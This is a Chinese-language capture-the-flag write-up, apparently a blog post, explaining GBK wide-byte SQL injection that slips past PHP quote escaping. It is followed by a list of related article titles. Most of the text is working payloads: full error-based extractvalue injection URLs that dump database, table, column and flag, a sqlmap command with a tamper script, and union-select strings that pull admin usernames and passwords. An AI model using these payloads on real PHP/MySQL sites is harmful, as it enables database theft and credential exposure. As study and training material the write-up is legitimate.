寬位元組注入
先補充一點背景:
大 家都知道PHP在開啟magic_quotes_gpc或者使用addslashes、iconv等函式的時候,單引號(')會被轉義成\'。比如字 符%bf在滿足上述條件的情況下會變成%bf\'。其中反斜槓(\)的十六進位制編碼是%5C,單引號(')的十六進位制編碼是%27,那麼就可以得出%bf \'=%bf%5c%27。如果程式的預設字符集是GBK等寬位元組字符集,則MySQL會認為%bf%5c是一個寬字元,也就是“縗”。也就是說%bf \'=%bf%5c%27=縗'。
說 到這裡好像還沒有看出來到底有什麼用。瞭解PHP+MySQL隱碼攻擊的朋友應該都明白,單引號在注入裡絕對是個好東西。尤其是,很多程式設計師都過分依賴於 magic_quotes_gpc或者addslashes、iconv等函式的轉義。理論上說,只要資料庫連線程式碼設定了GBK編碼,或者是預設編碼就 是GBK,那現在的程式裡到處都是注入漏洞
以上來源為:http://www.myhack58.com/Article/html/3/7/2012/33743.htm
講的不錯,我就複製黏貼了
例子:
http://sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1
【1】首先我們先要測試一下經典的%df%27:
http://sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%df%27 and 1=1 %23
結果頁面顯示:
Forbidden
看來是被過濾了
沒關係,我們依然可以嘗試這樣注入:
http://sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%bf%27 and 1=1%23
頁面是:look me,look me,look me.
http://sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%bf%27 and 1=2%23
頁面為空
看來是注入成功了
類似成功的還有:
(1)http://sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%e5%27 and 1=2%23
(2)http://sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%c2%27 and 1=1%23
(3)http://sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%bf%27 and 1=1%23
【2】我發現這是一個報錯注入,於是我們開始愉快的開啟報錯注入模式:
爆資料庫:
sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%bf%27 and extractvalue(1, concat(0x5c,(select database()))) %23
頁面顯示:
XPATH syntax error: '\sql2'
【3】爆表
sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%bf%27 and extractvalue(1, concat(0x5c,(select table_name from information_schema.tables where table_schema=0x73716c32 limit 0,1))) %23
頁面顯示:
XPATH syntax error: '\[key_flag]'
【4】爆欄位:
sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%bf%27 and extractvalue(1, concat(0x5c,(select COLUMN_NAME from Information_schema.columns where table_Name = 0x5b6b65795f666c61675d and TABLE_SCHEMA= 0x73716c32 limit 1,1))) %23
頁面顯示:
XPATH syntax error: '\key_flag'
【5】爆內容:
如果大家這樣:
sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%bf%27 and extractvalue(1, concat(0x5c,(select key_flag from [key_flag]))) %23
注入爆內容的話就會出錯:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '[key_flag]))) #'' at line 1
這裡有點小坑,就是在mysql做查詢的時候表名不能帶有中括號,否則就會報錯,後來花了一個小時做實驗谷歌查詢得知,如果表裡面必須有中括號的時候必須要用’,“,` 包起來,但是’和”會被php的magic_quotes_gpc的這個函式轉義掉所以就要用`包起來,這個符號在鍵盤的Esc下面,url的編碼為%60
至此我們這樣爆就可以出內容了
sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%bf%27 and extractvalue(1, concat(0x5c,(select key_flag from `[key_flag]`))) %23
頁面顯示:
XPATH syntax error: '\SYC{L0ve_Sql_Inj3ct10n_akak}'
sqlmap的指令是:sqlmap -u "http://202.120.7.140:8888/try.php?fruit=1" --tamper unmagicquotes -D "store" -T "tell_me_who_u_are" --dump
條件: 1. 資料庫採用gbk字符集 2. 網站將引號轉義為反斜槓加引號
原因: GBK雙位元組編碼中用兩個位元組表示一個漢字
首位元組範圍:0x81~0xFE
尾位元組範圍:0x40~0xFE(除0x7F)
反斜槓(\)對應編碼為0x5c
addslashes()函式 函式會在在以下字元之前新增反斜槓。 單引號(’)雙引號(")反斜槓(\)NULL
id輸入:1%df' and 1=2 union select 1,group_concat(table_name,0x23),3 from information_schema.tables where table_schema=0x7365637572697479%23
Your Login name:admin#,emails#,referers#,uagents#,users#
id輸入:
1%df' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=0x7365637572697479 and table_name = 0x61646d696e%23
Your Login name:Id,adminname,adminpasswd
1%df' and 1=2 union select 1,group_concat(Id,adminname,0x23,adminpasswd),3 from admin%23
相關文章
- C10-08-寬位元組注入-mysql注入之getshell-sqlmapMySql
- 最新寬位元組注入攻擊和程式碼分析技術
- sqli-labs靶場實現(九)【寬位元組注入(1)、寬位元組注入(2)】(less-33、less-32具體步驟+圖文詳解)SQL
- 寬位元組XSS跨站攻擊
- sqli-labs————寬位元組注入(可以用於繞過濾了單引號或者\的WAF)SQL
- sqli-labs————Less-34(寬位元組繞過、水平越權、盲注)SQL
- 硬核觀察 | “祝融號”火星車目前頻寬每秒只能傳 2 個位元組
- 位元組流
- 位元組碼
- 位元組碼指令
- Java 位元組碼Java
- 位、位元組、字
- Unity從圖片的位元組資料裡面獲取圖片的寬和高Unity
- 【C/C++】5.位元組對齊和位元組填充C++
- 什麼是位元組碼?python位元組碼詳細介紹!Python
- 擷取 UTF8 編碼字串從首位元組開始指定寬度 (非長度)字串
- modbus和位元組序
- 位元組碼基礎
- 位元組陣列流陣列
- 緩衝位元組流#
- 位元組碼詳解
- 位元組OpenDay總結
- JS 位元組流 解析JS
- golang 位元組對齊Golang
- 位、位元組和字
- 位元組跳動近日申請多個“位元組遊戲”商標遊戲
- 位元組碼檔案解剖
- datetime是8個位元組?
- C++ 位元組對齊C++
- 轉換協議位元組協議
- 【Java】JVM位元組碼分析JavaJVM
- 位元組一面-分享
- 不要神化位元組跳動
- 位元組跳動上海招人
- Android 位元組碼插樁Android
- JAVA動態位元組碼Java
- Python 位元組碼介紹Python
- 張一鳴退出位元組跳動卸任多家位元組關聯公司職務